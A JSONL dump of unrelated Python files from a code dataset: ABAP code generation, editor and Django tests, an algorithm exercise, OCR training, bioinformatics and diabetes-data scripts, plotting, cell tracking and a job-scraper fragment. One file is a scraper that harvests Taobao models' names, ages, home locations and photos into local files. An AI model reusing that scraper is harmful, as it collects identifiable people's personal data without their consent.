__init__(self):\n self.name = ''\n self.exp_param = set()\n self.imp_param = set()\n self.changing_param = set()\n self.ret_param = None\n self.exceptions = list()\n self.code = list()\n self.redefinition = False\n\n def declaration(self):\n # type: () -> str\n s = '\\nMETHODS: ' + self.name + '\\n'\n if self.redefinition:\n s = s[0:-1] + ' REDEFINITION.\\n'\n else:\n if self.imp_param:\n s += '\\tIMPORTING\\n'\n for p in self.imp_param:\n s += '\\t\\t' + str(p).replace('.', '') + '\\n'\n\n if self.exp_param:\n s += '\\tEXPORTING\\n'\n for p in self.exp_param:\n s += '\\t\\t' + str(p).replace('.', '') + '\\n'\n\n if self.changing_param:\n s += '\\tCHANGING\\n'\n for p in self.changing_param:\n s += '\\t\\t' + str(p).replace('.', '') + '\\n'\n\n if self.ret_param is not None:\n s += '\\tRETURING\\n'\n s += '\\t\\t' + str(self.ret_param).replace('.', '') + '\\n'\n\n if self.exceptions:\n s += '\\tEXCEPTIONS\\n'\n for e in self.exceptions:\n s += '\\t\\t' + str(e[0]) + ' = ' + str(e[1]) + '\\n'\n\n s = s[:-1]\n s += '.\\n\\n'\n\n return s\n\n def implementation(self):\n # type: () -> str\n\n s = '\\nMETHOD ' + self.name + '.\\n\\n'\n for line in self.code:\n s += line.strip() + '\\n'\n s += '\\nENDMETHOD.\\n'\n return s\n\n\nclass AbapClassMethodBuilder:\n def __init__(self):\n self._class_method = AbapClassMethod()\n\n def set_method_name(self, name):\n # type: (str) -> AbapClassMethodBuilder\n self._class_method.name = name\n return self\n\n def add_exporting_param(self, param):\n # type: (AbapDeclaration) -> AbapClassMethodBuilder\n self._class_method.exp_param.add(param)\n return self\n\n def add_importing_param(self, param):\n # type: (AbapDeclaration) -> AbapClassMethodBuilder\n self._class_method.imp_param.add(param)\n\n def add_changing_param(self, param):\n # type: (AbapDeclaration) -> AbapClassMethodBuilder\n self._class_method.changing_param.add(param)\n return self\n\n def def_returning_param(self, param):\n # type: (AbapDeclaration) -> AbapClassMethodBuilder\n self._class_method.ret_param = param\n return self\n\n def set_redefinition(self, value=True):\n self._class_method.redefinition = value\n return self\n\n def add_exception(self, exception):\n # type: (str) -> AbapClassMethodBuilder\n except_value = len(self._class_method.exceptions)\n self._class_method.exceptions.append((exception, except_value))\n return self\n\n def add_code(self, code):\n # type: ([str]) -> AbapClassMethodBuilder\n self._class_method.code += code\n return self\n\n def build(self):\n return self._class_method\n","sub_path":"abap/abapClassMethod.py","file_name":"abapClassMethod.py","file_ext":"py","file_size_in_byte":3131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"94760584","text":"from NeoVintageous.tests import unittest\n\n\nclass Test__vi_big_e(unittest.ViewTestCase):\n\n def test_normal(self):\n self.write('01. 4')\n self.select(1)\n self.view.run_command('_vi_big_e', {'mode': unittest.NORMAL, 'count': 1})\n self.assertSelection(2)\n\n def test_internal_normal(self):\n self.write('012 4')\n self.select(1)\n self.view.run_command('_vi_big_e', {'mode': unittest.INTERNAL_NORMAL, 'count': 1})\n self.assertSelection((1, 3))\n\n def test_visual_forward(self):\n self.write('0ab3 5')\n self.select((1, 3))\n self.view.run_command('_vi_big_e', {'mode': unittest.VISUAL, 'count': 1})\n self.assertSelection((1, 4))\n\n def test_visual_reverse_no_crossover(self):\n self.write('0b2 a5')\n self.select((5, 1))\n self.view.run_command('_vi_big_e', {'mode': unittest.VISUAL, 'count': 1})\n self.assertSelection((5, 2))\n\n def test_visual_reverse_crossover(self):\n self.write('0ba3 5')\n self.select((3, 1))\n self.view.run_command('_vi_big_e', {'mode': unittest.VISUAL, 'count': 1})\n self.assertSelection((2, 4))\n","sub_path":"tests/nv/cmds/test__vi_big_e.py","file_name":"test__vi_big_e.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"156860125","text":"import datetime\n\nfrom django.test import TestCase\nfrom django.utils import timezone\nfrom django.contrib.auth import get_user_model\n\nfrom blog.models import Post\n\n\nUser = get_user_model()\n\nclass PostModelTest(TestCase):\n\n def test_creating_and_retrieving_posts(self):\n\n user = User.objects.create(username='user1')\n user2 = User.objects.create(username='user2')\n\n first_post = Post()\n first_post.title = '1st post'\n first_post.text = 'text01'\n first_post.active = True\n first_post.user = user\n first_post.save()\n\n second_post = Post.objects.create(\n title='2nd post',\n text='text02',\n active=False,\n user=user2\n )\n\n posts = Post.objects.all()\n self.assertEqual(posts.count(), 2)\n\n time = timezone.now() - datetime.timedelta(seconds=1)\n\n first_saved_post = posts[0]\n second_saved_post = posts[1]\n self.assertEqual(first_saved_post.title, '1st post')\n self.assertAlmostEqual(\n first_saved_post.published_date,\n time,\n delta=datetime.timedelta(seconds=1)\n )\n self.assertEqual(second_saved_post.title, '2nd post')\n self.assertAlmostEqual(\n second_saved_post.published_date,\n time,\n delta=datetime.timedelta(seconds=1)\n )\n self.assertEqual(second_saved_post.user, user2)\n","sub_path":"blog/tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"652788442","text":"#coding=utf-8\n\n\"\"\"\n135. Candy\n\nThere are N children standing in a line. Each child is assigned a rating value.\n\nYou are giving candies to these children subjected to the following requirements:\n\nEach child must have at least one candy.\nChildren with a higher rating get more candies than their neighbors.\nWhat is the minimum candies you must give?\n\nSubscribe to see which companies asked this question\n\nHide Tags Greedy\n\nHard\n\n\"\"\"\n\nimport unittest\n\n\nclass Solution(object):\n def candy(self, ratings): #85ms, 67%\n \"\"\"\n :type ratings: List[int]\n :rtype: int\n \"\"\"\n if not ratings:\n return 0\n n = len(ratings)\n candies = [1 for i in range(n)]\n for i in range(1,n):\n if ratings[i]>ratings[i-1]:\n candies[i] = candies[i-1]+1\n total = candies[n-1]\n for i in range(n-2, -1, -1):\n if ratings[i] > ratings[i+1] and candies[i] <= candies[i+1]: #should add 'and candies[i] <= candies[i+1]' otherwise wrong for case 5\n candies[i] = candies[i+1]+1\n total += candies[i]\n return total\n \n\n\n def candy_wrong(self, ratings):\n \"\"\"\n :type ratings: List[int]\n :rtype: int\n \"\"\"\n if not ratings:\n return 0\n total = 1\n cnt = 1\n ratings.sort()\n for i in range(1,len(ratings)):\n if ratings[i] > ratings[i-1]:\n cnt += 1\n total += cnt\n return total\n \n \n\n\nclass SolutionTester(unittest.TestCase):\n def setUp(self):\n self.sol = Solution()\n\n \n def test_case5(self): #====>\n nums = [4, 2, 3, 4, 1] # 1,1,2,3,1\n answer = 9\n result = self.sol.candy(nums)\n self.assertEqual(answer, result)\n \n\n def test_case4(self): #=====>\n \"\"\"\n this case means that only need to have more candy than 'neighbors' if score is higher,\n does NOT mean same ratings get same candies.\n if neighbors have same rating, one of them may have less candies\n :return:\n \"\"\"\n nums = [1,2,2]\n answer = 4\n result = self.sol.candy(nums)\n self.assertEqual(answer, result)\n\n def test_case1(self):\n nums = [12,43,54,7,1] # 1,2,3,2,1\n answer = 9\n result = self.sol.candy(nums)\n self.assertEqual(answer, result)\n \n def test_case2(self):\n nums = [1,43,54,7,1]\n answer = 9\n result = self.sol.candy(nums)\n self.assertEqual(answer, result)\n \n def test_case3(self):\n nums = [2,2,2]\n answer = 3\n result = self.sol.candy(nums)\n self.assertEqual(answer, result)\n\n\ndef main():\n suite = unittest.TestLoader().loadTestsFromTestCase(SolutionTester)\n unittest.TextTestRunner(verbosity=2).run(suite)\n\n\nif __name__ == \"__main__\":\n main()\n\n\"\"\"\n贪心算法(Greedy Algorithm)\n\n评分同时低于左右两边的孩子只需分配一个糖果\n\n评分相同的相邻孩子,分配的糖果可以不同\n\n算法步骤如下:\n\n1. 首先为每一个孩子分配1个糖果\n\n记当前孩子序号为i,糖果数为candies[i],评分为ratings[i]\n\n2. 从左向右遍历,若ratings[i] > ratings[i - 1],则令candies[i] = candies[i - 1] + 1\n\n3. 从右向左遍历,若ratings[x] > ratings[x + 1],则令candies[x] = max(candies[x], candies[x + 1] + 1)\n\n\"\"\"\n\n#-*- coding:utf-8 -*-\n","sub_path":"misc/candy.py","file_name":"candy.py","file_ext":"py","file_size_in_byte":3433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"499872604","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@description: \n@author:XuMing\n\"\"\"\nfrom __future__ import print_function # 兼容python3的print写法\nfrom __future__ import unicode_literals # 兼容python3的编码处理\n\nimport os\nimport urllib\nimport urllib.request\n\nfrom bs4 import BeautifulSoup\n\n\n# import urllib2\n\n\n# 抓取淘宝MM图\nclass TaoBaoMMSpider:\n def __init__(self):\n self.user_agent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'\n # 初始化headers\n self.headers = {'User-Agent': self.user_agent}\n self.url = \"https://mm.taobao.com/json/request_top_list.htm\"\n\n def get_page(self, index):\n url = self.url + \"?page=\" + str(index)\n request = urllib.request.Request(url, headers=self.headers)\n resp = urllib.request.urlopen(request)\n return resp.read()\n\n # 获取索引界面所有MM的信息,list格式\n def get_content(self, index):\n page = self.get_page(index).decode('utf-8')\n contents = []\n soup = BeautifulSoup(page, 'lxml')\n items = soup.find_all('div', class_='list-item')\n for item in items:\n # item[0]个人详情URL,item[1]头像URL,item[2]姓名,item[3]年龄,item[4]居住地\n personal_info = item.find('div', class_='personal-info').find('a', class_='lady-name')\n personal_url = 'https:' + personal_info.get('href')\n name = personal_info.get_text()\n head_url = 'https:' + item.find('div', class_='personal-info').find('div', class_='pic-word') \\\n .find('a', class_='lady-avatar').find('img').get('src')\n age = item.find('div', class_='personal-info').find('div', class_='pic-word').find('em') \\\n .find('strong').get_text()\n address = item.find('div', class_='personal-info').find('div', class_='pic-word') \\\n .find('p').find('span').string\n contents.append([personal_url, head_url, name, age, address])\n return contents\n\n # 获取MM个人详情页面\n def get_detail_page(self, info_url):\n # 构建请求的request\n request = urllib.request.Request(info_url, headers=self.headers)\n resp = urllib.request.urlopen(request)\n return resp.read().decode('gbk')\n\n # 获取个人相册地址\n def get_album_url(self, page):\n page = BeautifulSoup(page, 'lxml')\n menu = page.find('ul', class_='mm-p-men')\n if menu:\n return 'https:' + menu.find('a').get('href')\n return \"\"\n\n # 获取页面所有图片\n def get_all_img(self, page):\n page = BeautifulSoup(page, 'html.parser')\n img = page.find('div', class_='mm-p-model-info clearfix').find('img')\n if img:\n return 'https:' + img['src'].strip()\n return None\n\n # 保存多张写真图片\n def save_img(self, images, name):\n num = 1\n print(name, '共有', len(images), '张照片')\n if images is None:\n return\n for image_url in images:\n split_path = image_url.split('.')\n f_tail = split_path.pop()\n if len(f_tail) > 3:\n f_tail = 'jpg'\n file_name = name + '/' + str(num) + '.' + f_tail\n self.save_img(image_url, file_name)\n num += 1\n\n # 保存头像\n def save_icon(self, icon_url, name):\n split_path = icon_url.split('.')\n f_tail = split_path.pop()\n file_name = name + '/icon.' + f_tail\n self.save_img(icon_url, file_name)\n\n # 保存个人简介\n def save_brief(self, content, item):\n name = item[2]\n file_name = name + '/' + name + '.txt'\n f = open(file_name, \"w+\")\n print('在保存个人信息:', file_name)\n f.write(('名字:' + name + '\\n').encode('utf-8'))\n f.write(('个人空间地址:' + item[0] + '\\n').encode('utf-8'))\n f.write(('年龄:' + str(item[3]) + '\\n').encode('utf-8'))\n f.write(('居住地:' + item[4] + '\\n').encode('utf-8'))\n f.write(('个人相册地址:' + content + '\\n').encode('utf-8'))\n f.close()\n\n # 传入图片地址,文件名,保存单张图片\n def save_img(self, image_url, file_name, index=0):\n if image_url is None:\n return\n try:\n urllib.urlretrieve(url=image_url, filename=file_name)\n print('下完了%s张' % (index + 1))\n index += 1\n except Exception:\n print('这张图片下载出问题了: %s' % image_url)\n\n # 创建新目录\n def mkdir(self, path):\n path = path.strip()\n if not os.path.exists(path):\n os.makedirs(path)\n\n def save_page_info(self, index):\n contents = self.get_content(index)\n for item in contents:\n # item[0]个人详情URL,item[1]头像URL,item[2]姓名,item[3]年龄,item[4]居住地\n print(u\"名字:\", item[2], u\"芳龄\", item[3], u\",地址\", item[4], u\",个人页面\", item[0])\n detail_url = item[0]\n detail_page = self.get_detail_page(detail_url)\n album_url = self.get_album_url(detail_page)\n images = self.get_all_img(detail_page)\n self.mkdir(item[2])\n self.save_brief(album_url, item)\n self.save_img(images, item[2])\n self.save_icon(item[1], item[2])\n\n def save_pages_info(self, start, end):\n for i in range(start, end + 1):\n self.save_page_info(i)\n\n\n# 传入起止页码即可,在此传入了2,10,表示抓取第2到10页的MM\nspider = TaoBaoMMSpider()\nspider.save_pages_info(2, 3)\n","sub_path":"04TaoBaoMM/taobaomm.py","file_name":"taobaomm.py","file_ext":"py","file_size_in_byte":5583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"10993616","text":"from __future__ import division\n\nimport glob\nimport os\nimport random\nimport sys\nfrom itertools import chain\n\nimport pyclstm\nfrom PIL import Image\n\nif not os.path.isdir('./book'):\n print(\"Please download the sample data:\\n\\t\"\n \"curl -L http://tmbdev.net/ocrdata/uw3-500.tgz|tar xf\")\n sys.exit(1)\n\nall_imgs = [Image.open(p) for p in sorted(glob.glob(\"./book/*/*.png\"))]\nall_texts = [open(p).read().strip()\n for p in sorted(glob.glob(\"./book/*/*.gt.txt\"))]\nif sys.version_info <= (3,):\n all_texts = [t.decode('utf8') for t in all_texts]\n\nall_data = list(zip(all_imgs, all_texts))\n\ntrain_data = all_data[:400]\ntest_data = all_data[400:]\n\nocr = pyclstm.ClstmOcr()\ngraphemes = set(chain.from_iterable(all_texts))\nocr.prepare_training(graphemes)\n\nfor i in range(2000000):\n best_error = 1.\n img, txt = random.choice(train_data)\n out = ocr.train(img, txt)\n if not i % 10:\n aligned = ocr.aligned()\n print(\"Truth: {}\".format(txt))\n print(\"Aligned: {}\".format(aligned))\n print(\"Output: {}\".format(out))\n if not i % 1000:\n errors = 0\n chars = 0\n for img, txt in test_data:\n out = ocr.recognize(img)\n errors += pyclstm.levenshtein(txt, out)\n chars += len(txt)\n error = errors / chars\n print (\"=== Test set error after {} iterations: {:.2f}\"\n .format(i, error))\n if error < best_error:\n print(\"=== New best error, saving model to model.clstm\")\n ocr.save(\"./model.clstm\")\n","sub_path":"run_uw3_500.py","file_name":"run_uw3_500.py","file_ext":"py","file_size_in_byte":1543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"419862299","text":"#! /powerapps/share/python-anaconda-3.6/bin/python\n\nimport sys\nsys.path.insert(0,'/sternadi/home/volume2/noam/SternLab')\nfrom optparse import OptionParser\nimport os\nimport glob\nimport argparse\nfrom Bio import SeqIO\nimport re\nfrom file_utilities import check_filename\n\n\ndef main(args):\n file = check_filename(args.file)\n cds = args.cds\n outdir = os.path.dirname(file)\n fasta = SeqIO.parse(file, \"fasta\")\n r = re.compile(\"segment ([A-Za-z0-9]+)\")\n segments = {}\n\n for f in fasta:\n s = []\n #print(r.findall(f.description))\n try:\n s = r.findall(f.description)[0]\n if s not in segments.keys():\n segments[s] = []\n segments[s].append(f)\n except:\n print(f.description)\n print(r.findall(f.description))\n\n\n for i in segments.keys():\n if cds:\n output_file = f\"{outdir}/segment_{i}_CDS.fasta\"\n else:\n output_file = f\"{outdir}/segment_{i}.fasta\"\n SeqIO.write(segments[i], output_file, \"fasta\")\n\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-f\", \"--file\", type=str,\n help=\"input file TiLV sequences\", required=True)\n parser.add_argument(\"-c\", \"--cds\", action=\"store_true\")\n args = parser.parse_args()\n main(args)\n\n","sub_path":"TILV_analysis/split_by_segments.py","file_name":"split_by_segments.py","file_ext":"py","file_size_in_byte":1345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"299797632","text":"import sys\nimport os\nimport time\nimport datetime\nimport settings as sets\n\nif __name__ == \"__main__\":\n pass\nelse:\n print(\"UNAVAILABLE\")\n sys.exit(999)\n\nprint(\"Initialzing ORWTMC Data Manager...\")\nboottime = time.time()\ntry:\n open(\"config.json\")\nexcept FileNotFoundError:\n print(\"You are the first time using ORWTMC Data Manager.\")\n print(\"Sending you to Settings/index...\")\n sets.index()\n print(\"Please restart the application.\")\n sys.exit(1)\n\nprint(\"Reading config...\")\nprint(\"Initialzed.\")\nprint(\"\\n\\n\")\nprint(\"This is a data manager based on Python.\")","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"469228321","text":"# 72%: Média da tabela completa\n# 73%: Selecionando um valor qualquer da própria coluna\n\nimport pandas as pd\nimport numpy as np\nimport math\nfrom random import randrange\n\n# dataapp = pd.read_csv(\"diabetes_app.csv\")\ndataapp = pd.read_csv(\"diabetes_dataset.csv\")\n\n# ----------------- Média geral -------------------\n# glucose = dataapp.loc[:,'Glucose']\n# bloodP = dataapp.loc[:,'BloodPressure']\n# skinT = dataapp.loc[:,'SkinThickness']\n# insulin = dataapp.loc[:,'Insulin']\n# bmi = dataapp.loc[:,'BMI']\n#\n# glucoseMean = sum(glucose)/197\n# bloodPMean = sum(bloodP)/197\n# skinTMean = sum(skinT)/197\n# insulinMean = sum(insulin)/197\n# bmiMean = sum(bmi)/197\n# -------------------------------------------------\n# ----------------- Média separada por outcome -------------------\n# glucose = [[], []]\n# bloodP = [[], []]\n# skinT = [[], []]\n# insulin = [[], []]\n# bmi = [[], []]\n#\n# for index, row in dataapp.iterrows():\n# if not math.isnan(row[\"Glucose\"]):\n# glucose[int(row[\"Outcome\"])] += [row[\"Glucose\"]]\n# if not math.isnan(row[\"BloodPressure\"]):\n# bloodP[int(row[\"Outcome\"])] += [row[\"BloodPressure\"]]\n# if not math.isnan(row[\"SkinThickness\"]):\n# skinT[int(row[\"Outcome\"])] += [row[\"SkinThickness\"]]\n# if not math.isnan(row[\"Insulin\"]):\n# insulin[int(row[\"Outcome\"])] += [row[\"Insulin\"]]\n# if not math.isnan(row[\"BMI\"]):\n# bmi[int(row[\"Outcome\"])] += [row[\"BMI\"]]\n#\n# g = {}\n# b = {}\n# s = {}\n# ins = {}\n# bm = {}\n# for i in range(2):\n# g[i] = sum(glucose[i]) / len(glucose[i])\n# b[i] = sum(bloodP[i]) / len(bloodP[i])\n# s[i] = sum(skinT[i]) / len(skinT[i])\n# ins[i] = sum(insulin[i]) / len(insulin[i])\n# bm[i] = sum(bmi[i]) / len(bmi[i])\n# -------------------------------------------------\n# ----------------- Média do menor e maior valor -------------------\nglucoseMedia = (dataapp['Glucose'].min() + dataapp['Glucose'].max()) / 2\nbloodPMedia = (dataapp['BloodPressure'].min() + dataapp['BloodPressure'].max()) / 2\nskinTMedia = (dataapp['SkinThickness'].min() + dataapp['SkinThickness'].max()) / 2\ninsulinMedia = (dataapp['Insulin'].min() + dataapp['Insulin'].max()) / 2\nbminMedia = (dataapp['BMI'].min() + dataapp['BMI'].max()) / 2\n# -------------------------------------------------\n\ndataset = pd.read_csv(\"diabetes_dataset.csv\")\nfor index, row in dataset.iterrows():\n if math.isnan(row[\"Glucose\"]):\n dataset.loc[index, 'Glucose'] = randrange(int(dataapp['Glucose'].min()), int(dataapp['Glucose'].max()))\n # dataset.loc[index, 'Glucose'] = g[int(row[\"Outcome\"])]\n # element = randrange(0, 572)\n # while math.isnan(dataset.loc[element, 'Glucose']):\n # element = randrange(0, 572)\n # dataset.loc[index, 'Glucose'] = dataset.loc[element, 'Glucose']\n if math.isnan(row[\"BloodPressure\"]):\n dataset.loc[index, 'BloodPressure'] = randrange(int(dataapp['BloodPressure'].min()), int(dataapp['BloodPressure'].max()))\n # dataset.loc[index, 'BloodPressure'] = b[int(row[\"Outcome\"])]\n # element = randrange(0, 572)\n # while math.isnan(dataset.loc[element, 'BloodPressure']):\n # element = randrange(0, 572)\n # dataset.loc[index, 'BloodPressure'] = dataset.loc[element, 'BloodPressure']\n if math.isnan(row[\"SkinThickness\"]):\n dataset.loc[index, 'SkinThickness'] = randrange(int(dataapp['SkinThickness'].min()), int(dataapp['SkinThickness'].max()))\n # dataset.loc[index, 'SkinThickness'] = s[int(row[\"Outcome\"])]\n # element = randrange(0, 572)\n # while math.isnan(dataset.loc[element, 'SkinThickness']):\n # element = randrange(0, 572)\n # dataset.loc[index, 'SkinThickness'] = dataset.loc[element, 'SkinThickness']\n if math.isnan(row[\"Insulin\"]):\n dataset.loc[index, 'Insulin'] = randrange(int(dataapp['Insulin'].min()), int(dataapp['Insulin'].max()))\n # dataset.loc[index, 'Insulin'] = ins[int(row[\"Outcome\"])]\n # element = randrange(0, 572)\n # while math.isnan(dataset.loc[element, 'Insulin']):\n # element = randrange(0, 572)\n # dataset.loc[index, 'Insulin'] = dataset.loc[element, 'Insulin']\n if math.isnan(row[\"BMI\"]):\n dataset.loc[index, 'BMI'] = randrange(int(dataapp['BMI'].min()), int(dataapp['BMI'].max()))\n # dataset.loc[index, 'BMI'] = bm[int(row[\"Outcome\"])]\n # element = randrange(0, 572)\n # while math.isnan(dataset.loc[element, 'BMI']):\n # element = randrange(0, 572)\n # dataset.loc[index, 'BMI'] = dataset.loc[element, 'BMI']\n\n# for index, row in dataset.iterrows():\n# print(row[\"Glucose\"], row[\"Insulin\"])\n\n# print(dataset.loc[1,'Insulin'])\n# dataset.to_csv(\"new_data.csv\")\n\n# preg.replace('', 20182018)\n# preg.to_csv(\"new_data.csv\")\n\n# print(dataset.to_string())\ndataset.to_csv(\"new_data.csv\")\nprint(\"NaN count: \", dataset.isnull().sum())\n","sub_path":"01_Preprocessing/scripts/editTable.py","file_name":"editTable.py","file_ext":"py","file_size_in_byte":4874,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"10300873","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nfrom matplotlib import style\nimport time\n\ndef data_gen():\n while(1):\n time.sleep(1)\n data = np.random.rand(40,40)\n return data\n #interrupt\n\n#Code structure\n#Script drives/reads from sensor\n#Driving script collects and writes data to file or data structure\n#Interupt is triggered when a frame is ready\n#Data animation is running off of is updated by interrupt\ndata = np.random.rand(40,40)\n\nharvest = np.array([[0.8, 2.4, 2.5, 3.9, 0.0, 4.0, 0.0],\n [2.4, 0.0, 4.0, 1.0, 2.7, 0.0, 0.0],\n [1.1, 2.4, 0.8, 4.3, 1.9, 4.4, 0.0],\n [0.6, 0.0, 0.3, 0.0, 3.1, 0.0, 0.0],\n [0.7, 1.7, 0.6, 2.6, 2.2, 6.2, 0.0],\n [1.3, 1.2, 0.0, 0.0, 0.0, 3.2, 5.1],\n [0.1, 2.0, 0.0, 1.4, 0.0, 1.9, 6.3]])\n\nfig, axis = plt.subplots()\nimage = axis.imshow(harvest)\nplt.show()\n\n\n\n\n\n#Our animation interval is set much faster than we are actually receiving data\n#from the mat. Setting it so fast allows us to display new data \"on the fly\" \n#more or less as soon as it is available from the sensor. This allow us to avoid\n#abritrarily limiting the update speed\n","sub_path":"simulation/display.py","file_name":"display.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"209469956","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\ndef func(x,m,c):\n return m*x+c\n\nX = np.array([0,1,2,3,4,5,6,7])\nY = np.array([2,2.5,2,2.5,2,2.5,3,2.5])\nT = np.array([9,172,63,99,136,27,190,45])\n\n\nx = np.linspace(0, 7, 8)\ny = np.linspace(0, 7, 8)\n\nfig = plt.figure()\nax = fig.add_subplot(111,aspect='equal')\n\n\ndrift_velocity = 250.453 /1e5\n\n\ndef plot(x,y,r):\n for i in range(len(x)):\n circle1=plt.Circle((x[i],y[i]),r[i]*drift_velocity,fill=False,edgecolor='r')\n plt.gcf().gca().add_artist(circle1)\n\n\nplot(X,Y,T)\n\nfor i in range(8):\n for j in range(8):\n if i%2 != 0:\n circle1=plt.Circle((x[i],y[j]+0.5),0.02,color='b',alpha = 0.5)\n plt.gcf().gca().add_artist(circle1)\n else :\n circle1=plt.Circle((x[i],y[j]),0.02,color='b',alpha = 0.5)\n plt.gcf().gca().add_artist(circle1)\n\n\n\n\nX_3 = np.linspace(-1,9,100)\nY_3 = func(X_3,0.08333,2.08333)\n#plt.plot(X_3,Y_3,color='g',linewidth=0.5)\n\n\nY_u = func(X_3,0.08799927,2.00087)\n#plt.plot(X_3,Y_u,color='m',linewidth=0.5)\n\nY_l = func(X_3,0.0909037,1.97734)\n#plt.plot(X_3,Y_l,color='b',linewidth=1)\n\nplt.xlabel(\"X\")\nplt.ylabel(\"Y\")\n\nplt.xlim(-0.5,7.5)\nplt.ylim(0,8)\nplt.grid()\nplt.savefig(\"nofit.png\",dpi=600)\n","sub_path":"MiniProject/Old_programs/plotting.py","file_name":"plotting.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"211383297","text":"import numpy as np\nimport cv2\nimport os\nfrom tracker import CenterPointTracking\nfrom collections import defaultdict\nimport functools\n\ndef cv_show(img):\n cv2.imshow(\"img\",img)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\ndef coss_multi(v1, v2):\n\n return v1[0] * v2[1] - v1[1] * v2[0]\n\ndef getAllImgPath(path,condition=''):\n\n Filelist = []\n for home, dirs, files in os.walk(path):\n for filename in files:\n if filename.startswith(condition):\n Filelist.append(os.path.join(home, filename))\n\n return sorted(Filelist)\n\ndef task1(index,mask,img,pathDic):\n\n h = mask.shape[0]\n w = int(mask.shape[1] / 2)\n\n mask = mask[:h, :w]\n\n gray = cv2.cvtColor(mask, cv2.COLOR_BGR2GRAY)\n ret, thresh = cv2.threshold(gray, 127, 255, 0)\n\n kernel = np.ones((3, 3), np.uint8)\n\n thresh = cv2.morphologyEx(thresh, cv2.MORPH_OPEN, kernel, iterations=5)\n\n contours, hierarchy = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n contours = sorted(contours, key=cv2.contourArea, reverse=True)\n\n point = (0, 0)\n square = 0\n num = 0\n rects = []\n for i in range(0, len(contours)):\n\n x, y, w, h = cv2.boundingRect(contours[i])\n\n s = cv2.contourArea(contours[i])\n\n if s < 200 and point == (x, y) and square == s:\n continue\n rects.append((x,y,x+w,y+h))\n\n cv2.rectangle(img,(x,y), (x+w,y+h), (255, 0, 0), 2, 1)\n\n point = (x, y)\n square = s\n num += 1\n\n objects = ct.update(rects)\n\n if len(pathDic) == 0:\n for i,v in objects.items():\n pathDic[i].append( (objects[i][0],objects[i][1]) )\n else:\n\n objectsKey = objects.keys()\n for k,v in objects.items():\n pathDic[k].append(v)\n\n pathDic1 = pathDic.copy()\n\n for k,v in pathDic.items():\n if k not in objectsKey:\n del pathDic1[k]\n\n pathDic = pathDic1\n\n for (objectID, centroid) in objects.items():\n\n text = \"ID {}\".format(objectID)\n cv2.putText(img, text, (centroid[0] - 10, centroid[1] - 10),cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 255, 0), 2)\n\n for objectID, centroid in pathDic.items():\n if len(centroid) > 1:\n pre = centroid[0]\n for i in centroid[1:]:\n cv2.line(img, (pre[0], pre[1]), (i[0],i[1]), (0, 255, 0), 2, 2)\n pre = i\n else:\n cv2.circle(img, (centroid[0][0], centroid[0][1]), 4, (0, 255, 0), -1)\n\n img = cv2.putText(img, \"cell number:\" + str(num), (0, 40), cv2.FONT_HERSHEY_SIMPLEX, 1, (100, 200, 200), 2)\n\n cv2.imwrite('./cell1task1/'+str(index)+\".jpg\",img)\n cv_show(img)\n return pathDic\n\ndef diySort(path1,path2):\n\n\n s1 = path1.index(\"/\")\n e1 = path1.index(\".\")\n\n s2 = path2.index(\"/\")\n e2 = path2.index(\".\")\n\n n1 = int(path1[s1+1:e1])\n n2 = int(path2[s2+1:e2])\n\n if n1 < n2: return -1\n elif n1 == n2: return 0\n else: return 1\n\nif __name__ == '__main__':\n\n maskPath = 'datasets/DIC-C2DH-HeLa/01_VIZ'\n condition = 'network'\n maskList = getAllImgPath(maskPath,condition)\n\n imgPath = 'datasets/DIC-C2DH-HeLa/01'\n imgList = getAllImgPath(imgPath)\n\n ct = CenterPointTracking()\n pathDic = defaultdict(list)\n\n for index,i in enumerate( zip(maskList[:],imgList[:]) ):\n\n mask = cv2.imread(i[0])\n\n img = cv2.imread(i[1])\n\n pathDic = task1(index,mask,img,pathDic)\n\n imgPath = './cell1task1'\n imgList = getAllImgPath(imgPath)\n\n imgList = sorted(imgList,key=functools.cmp_to_key(diySort))\n\n img = cv2.imread(imgList[0])\n\n fps = 2\n size = (img.shape[1], img.shape[0])\n\n videoWriter = cv2.VideoWriter('./cell1task1.avi', cv2.VideoWriter_fourcc('X', 'V', 'I', 'D'),\n fps, size)\n\n for img in imgList[1:]:\n read_img = cv2.imread(img)\n videoWriter.write(read_img)\n\n videoWriter.release()\n","sub_path":"DICtask1.py","file_name":"DICtask1.py","file_ext":"py","file_size_in_byte":3948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"633689244","text":"'''\r\nAuthor: Patrick Carra\r\nDescription: This is a simple webscraper I used to speed up searching for jobs on 3 of the major job sites.\r\n This script accepts user input for job title, location, and radius and then will format the search query for each site.\r\n Finally it will write the results of the job searches for each site to a document for review.\r\n'''\r\n\r\nimport requests, re, docx\r\nfrom bs4 import BeautifulSoup\r\n\r\n#global 